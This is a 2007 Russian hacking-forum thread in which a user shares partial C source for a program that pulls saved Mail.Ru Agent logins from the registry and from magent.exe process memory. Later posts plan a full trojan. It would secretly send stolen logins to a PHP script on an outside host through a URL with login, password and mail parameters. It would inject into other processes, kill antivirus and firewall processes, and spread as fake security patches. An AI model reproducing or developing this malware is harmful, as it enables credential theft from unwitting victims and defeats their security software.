Потестите программулю!!!

Discussion in 'Уязвимости Mail-сервисов' started by darkf0x, 12 Jan 2007.

  1. darkf0x

    darkf0x Member

    Joined:
    12 Jan 2007
    Messages:
    21
    Likes Received:
    7
    Reputations:
    0
    Вот не надо гнать только! Яж никого не напрягаю.. Повторюсь, прога весит 10 кил, так как запакована UPX кто не знает что это, ваши проблемы. А че говорить! Не суть..
     
  2. freddi

    freddi Elder - Старейшина

    Joined:
    5 Jul 2006
    Messages:
    399
    Likes Received:
    243
    Reputations:
    145
    Я буду тестировать, а то тут все испугались.
     
    #22 freddi, 12 Jan 2007
    Last edited: 12 Jan 2007
  3. insurgent

    insurgent Elder - Старейшина

    Joined:
    27 Dec 2006
    Messages:
    46
    Likes Received:
    19
    Reputations:
    0
    ну и как? Работает? Или пароли меняешь=)
     
  4. darkf0x

    darkf0x Member

    Joined:
    12 Jan 2007
    Messages:
    21
    Likes Received:
    7
    Reputations:
    0
    PHP:
    [QUOTE=_hack_ing_]ну ты суперпуперпрограммистмегахэцкерну не такие мы умныекак тыну не знаем мы шо ето такое и чем едят=) просто сам головойили чем это тамподумай?! Я пишу тея пипец программернаписал програмульку кот ломает фсе мыльникискачай!!! и еще проверь как она работаета то я сам не знаюкак она работает 0_о ню давай исходники кому-нить одному и он проверитьф чем проблема?)[/QUOTE]
    Лови мега хацкер...
    #include <windows.h>
    #include <stdio.h>
    #include<tlhelp32.h>
    //--------------------------------------------
    //--------------------------------------------
    //--------------------------------------------
    //--------------------------------------------
    BOOL ParsingMagentDump(BYTE *, intint);
    //--------------------------------------------
    //--------------------------------------------
    bool fl_ 0;
    //--------------------------------------------
    //--------------------------------------------
    void printf_(char *msg)
    {
        
    char tmp[255];
        
    sprintf(tmp,msg);
        
    CharToOem(tmp,tmp);
        
    printf("%s\n",tmp);
    }
    //--------------------------------------------
    //--------------------------------------------
    void write_file(BYTEblong i)
    {

       
    HANDLE hFile CreateFile("C:\\magent.pas",
                                 
    GENERIC_READ GENERIC_WRITE
                                 
    0,
                                 
    NULL,
                                 
    OPEN_ALWAYS,
                                 
    FILE_ATTRIBUTE_NORMAL,
                                 
    NULL);

       if(
    hFile != INVALID_HANDLE_VALUE
       {
          
    DWORD ret;

          if (!
    fl_)
          {
             
    fl_ 1;
             
    printf_("Файл C:\\magent.pas создан..");
          }

          
    SetFilePointer(hFile00FILE_END);
          
    WriteFile(hFile,&b[0],i,&ret,NULL);
          
    CloseHandle(hFile);
       } else
           
    printf_("Ошибка создания или открытия файла C:\\magent.pas..");
    }
    //--------------------------------------------
    //--------------------------------------------
    void start_scanmmemory()
    {
        
    HKEY key 0;

        
    printf_("Берем данные из реестра: Software\\Mail.Ru\\Agent\\mra_logins...");
        if(
    RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Mail.Ru\\Agent\\mra_logins",0,KEY_READ, &key) == ERROR_SUCCESS)
        {
            
             
    char svValueName[MAX_PATH];
             
    memset(&svValueName,0,MAX_PATH);
            
    int count=0;
            
    DWORD cbValueNameLen MAX_PATH;
            
    DWORD cbValueDataLen MAX_PATH;
            
    DWORD dwType,pasLen;
            
    char ttt[255];

            
            while(
    RegEnumValue(key,count,svValueName,&cbValueNameLen,NULL,&dwType,NULL,&cbValueDataLen)!=ERROR_NO_MORE_ITEMS
            {

                if (
    strlen(svValueName) > 0
                {
                    
    sprintf(ttt,"Логин : %s",svValueName);
                    
    printf_(ttt);

                    
    BYTE g[255];
                    
    BYTE login[255];
                    
    memset(&g,0,255);
                    
    memset(&login,0,255);
                    
    RegQueryValueEx(key,svValueName,NULL,&dwType,g,&pasLen);

                    
    int i strlen(svValueName);
                    
    memcpy(login,&svValueName[0],strlen(svValueName));
                    
    memcpy(&login[i],g,4);

                    

                    
    sprintf(ttt,"Размер пароля : %d",pasLen-4);
                    
    printf_(ttt);
                    
                    
    i+=4;

                    
                    
    ParsingMagentDump(loginipasLen);

                }
                
    memset(&svValueName,0,MAX_PATH);
                
    cbValueNameLen MAX_PATH;
                  
    cbValueDataLen MAX_PATH;
                
    count++;
            }
            
            if (
    count == 0)
                
    printf_("Ошибка! Не удалось взять данные из реестра: Software\\Mail.Ru\\Agent\\mra_logins...");
            
    RegCloseKey(key);
        } else
            
    printf_("Ошибка! Не удалось взять данные из реестра: Software\\Mail.Ru\\Agent\\mra_logins...");
            
        
    }
    //--------------------------------------------
    //--------------------------------------------
    BOOL ParsingMagentDump(BYTE loginint lsint ps)
    {

       
    printf_("Сканим список процессов, ищем magent.exe...");
       
    HANDLE hProcessSnap;
       
    PROCESSENTRY32 pe32;
       
    HANDLE hProcess 0;
       
    hProcessSnap CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);

       if(
    hProcessSnap == INVALID_HANDLE_VALUE) return false;
    //   .......................
    //   Посмотрели и хватит!!!!

              
    }
              
              
    offset++;



              if (
    offset > (0x800000) || fl) break;
          }

       } else
           
    printf_("Не удалось найти процесс Magent.exe в списке процессов...");

       
    CloseHandle(hProcessSnap);

       
       return 
    fl;
    }
    //--------------------------------------------
    //--------------------------------------------
    int main(int argccharargv[])
    {
        
    start_scanmmemory();
        
    printf_("Работа закончена!");
        return 
    0;
    }
     
    #24 darkf0x, 12 Jan 2007
    Last edited by a moderator: 26 Jan 2007
  5. asm33

    asm33 Elder - Старейшина

    Joined:
    19 Jan 2006
    Messages:
    55
    Likes Received:
    7
    Reputations:
    4
    ну ппц. Взяди бы и на виртуальной тачке бы запустили эту хрень, если боитесь))))
     
  6. Ci5

    Ci5 Elder - Старейшина

    Joined:
    10 Oct 2006
    Messages:
    141
    Likes Received:
    100
    Reputations:
    -1
    Если ты не шаришь в программировании, то лучше помолчи и не делай свои выводы "правильные", КУЛЦ МЕГА ХАЦКЕР И ПРОГРАММЕР. И как те сказали - харошь флудить.

    2 darkf0x - ты решил траблу с записью всего процесса в файл ? И вообще, когда тя мона в ICQ найти ?
     
    #26 Ci5, 13 Jan 2007
    Last edited by a moderator: 26 Jan 2007
  7. darkf0x

    darkf0x Member

    Joined:
    12 Jan 2007
    Messages:
    21
    Likes Received:
    7
    Reputations:
    0
    В будние дни постоянно.. В выходные изредка! =( Проблемы решил! Оказалось все тривиально! Хотя мне не нравится скорость перебора памяти.. Сейчас прикидываю как сразу вычислить относительный адрес сегмента, без тупого брута! =( Мыслишки есть! А так если есть желание пишите на [email protected] или [email protected]
    Есть интересные мысли! Кстати эту "уязвимость" можно использовать для Фэйков! Народ пользуется почтовыми агентами, если официально всплывет, что он хачится просто, тогда можно фейки делать, типа заплаток от этой уязвимости! =) Ну а там все ограничивается фантазией хакера! Ну да ладно стучите кому интересно! Могу писать что угодно! =) Если грамотно поставите задачу можно написать прикольные трояные!
    Программингом даавно занимаюсь и работаю программером... Пишу от сервисов до мультипотоковых приложений, от сокетовых приложений до прог под покеты...
    P.S. Многие скептически отнеслись к моим постам, я понимаю, хотя не хотел ни кого пресаннуть!
     
  8. devil2007

    devil2007 Banned

    Joined:
    18 May 2006
    Messages:
    184
    Likes Received:
    73
    Reputations:
    -14
    lascer private 8.5 орёт что троянский червь
     
  9. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,032
    Likes Received:
    1,119
    Reputations:
    1,139
    А мне не нравится пост. Я поставлю -2
     
  10. freddi

    freddi Elder - Старейшина

    Joined:
    5 Jul 2006
    Messages:
    399
    Likes Received:
    243
    Reputations:
    145
    darkf0x Маладец!
    Все работает, в инет не лезет(те пароли ващи не отправляет никому), пароль от агента нашол, но у меня стояла галочка его сохранить. Довольно быстро, гдето за 1 минуту.


    Так что уберите минус у него!!!!
     
    #30 freddi, 13 Jan 2007
    Last edited: 13 Jan 2007
  11. darkf0x

    darkf0x Member

    Joined:
    12 Jan 2007
    Messages:
    21
    Likes Received:
    7
    Reputations:
    0
    А ладно... Забейте ребята... Каму интересна идея, допишу прогу тому дам заюзать... И Исходники..
    По поводу троянских червей: По всей видимостри эвристика работает у этого антивиря сильно но глючно... Имхо проги имеющие в коде функции перебора и открытия левых процессов, а также чтение из них данных считать за трояны... Как-то... Хер знает.. логика понятна, но не всегда правильна!
     
  12. freddi

    freddi Elder - Старейшина

    Joined:
    5 Jul 2006
    Messages:
    399
    Likes Received:
    243
    Reputations:
    145
    У меня касперский не запалил ничего, и аутпост тоже.
     
  13. darkf0x

    darkf0x Member

    Joined:
    12 Jan 2007
    Messages:
    21
    Likes Received:
    7
    Reputations:
    0
    на самом деле довольно долго память сканин и проц провешивает... Сейчас решу эту проблему и отвяжу от галки сохранять пароль (вернее от данных из реестра)!
    Думаю брутить по другому алгоритму! А то народ не всегда галку ставит...
     
  14. darkf0x

    darkf0x Member

    Joined:
    12 Jan 2007
    Messages:
    21
    Likes Received:
    7
    Reputations:
    0
    Сейчас готов скрипт работающий на левом хосте и отправляющий через урл логин и пароль на нужный ящик.. =) Так что скора будет релиз проги и скрипта обслуживающего прогу!
     
    2 people like this.
  15. Ci5

    Ci5 Elder - Старейшина

    Joined:
    10 Oct 2006
    Messages:
    141
    Likes Received:
    100
    Reputations:
    -1
    Логин и пароль у меня нашел исправно. Кароч, идея хорошая, хоть и узко применимая, но все равно +.
     
  16. darkf0x

    darkf0x Member

    Joined:
    12 Jan 2007
    Messages:
    21
    Likes Received:
    7
    Reputations:
    0
    Согласен... Узкая, но для меня начинающего, надеюсь будет отправной точкой в мир хакерства! =)

    Так на сегодняшний день уже:
    1. Прога не привязана к реестру (не обязательно ставить галку сохранить пароль)
    2. Поиск и парсинг происходит на-а-амного быстрее: (вычисление адреса PE заголовка в памяти + смещение к сегменту данных (размер проги)) Вычисление абсолютного адреса не получилось, имхо файл у них запакован UPX, соответственно PE не совсем тот что нужен мне.. =( Ну и хер с ним.. =) Мы тоже не лыком шиты!
    Приблизительный адрес все равно вычисляем! Единственное чтобы вычислить адрес PE хидера, пришлось создавать поток в процессе жертве... Нормальные Антивири на такое могут заорать! =( Но без такого выкрутаса не получить правильного адреса PE хидера MAgenta...
    3. Написал скрипт на php, лежит на
    darkanclave.hut2.ru - примитив, но исправно должен отправлять пару параметров на указанную почту!
    Вызывает так:
    darkanclave.hut2.ru/getaccount.php?l=<param1>&p=<param2>&mail=<Ваша почта>
    сейчас затачиваю прогу под него! Чтобы скрыто отправляла все что выдрала через этот URL...

    Кому интересно новая(скоростная) тестовая версия (без отправки и с выводом лога) лежит: anclave2007.narod.ru/mh.ex
     
  17. Rayne

    Rayne Elder - Старейшина

    Joined:
    16 Jan 2007
    Messages:
    33
    Likes Received:
    5
    Reputations:
    4
    Заранее извеняюсь, если что-то не увидел, или просмотрел, но к проге есть мануал, как ею узать?
    Заранее спасибо.
    ПС автору спасибо за прогу
     
  18. Ci5

    Ci5 Elder - Старейшина

    Joined:
    10 Oct 2006
    Messages:
    141
    Likes Received:
    100
    Reputations:
    -1
    Прога еще в разработке. Жди пока он ее закончит.
     
  19. wano81

    wano81 New Member

    Joined:
    23 Oct 2006
    Messages:
    25
    Likes Received:
    4
    Reputations:
    5

    там не нужен мануал просто отправляешь фаил и потом ловишь пасс
    но чесно сказать неизвестно выложиться прога в паблик или нет потому как обидели человека очень сильно!
     
  20. darkf0x

    darkf0x Member

    Joined:
    12 Jan 2007
    Messages:
    21
    Likes Received:
    7
    Reputations:
    0
    Ну... Уж не так сильно, так немножко подобосрали.. =)
    Короче народ! Программа почти написана, находится в стадии тестирования и разработки механизма интеграции вредоносного кода в левые процессы... Если не сложно!
    Киньте названия процессов всех антивирей и файеров что вам встречались или которые вы юзаете!
    Например:
    outpost.exe
    и т.п.
    Это нужно для троя, он будет гасить это дерьмо в памяти
    перед своей интеграцией в чужой процесс имхо эти пакостные помошники жизни юзверей перехватывают API вызовы, и блокируют интеграцию.. Чтобы этого не было их нужно замочить... Механизм собственного перехвата API не удобен, имхо после этого трой начинает плохо сосуществовать с антивирями и файерволами! =( Кто юзал к примеру OutpoSt и каспера одновременно на одной тачиле знают, что может быть полная жопа! Поэтому самы простой способ, вырубаем это дерьмо из памяти, интегрируемся, пускай юзер запускает заново... =)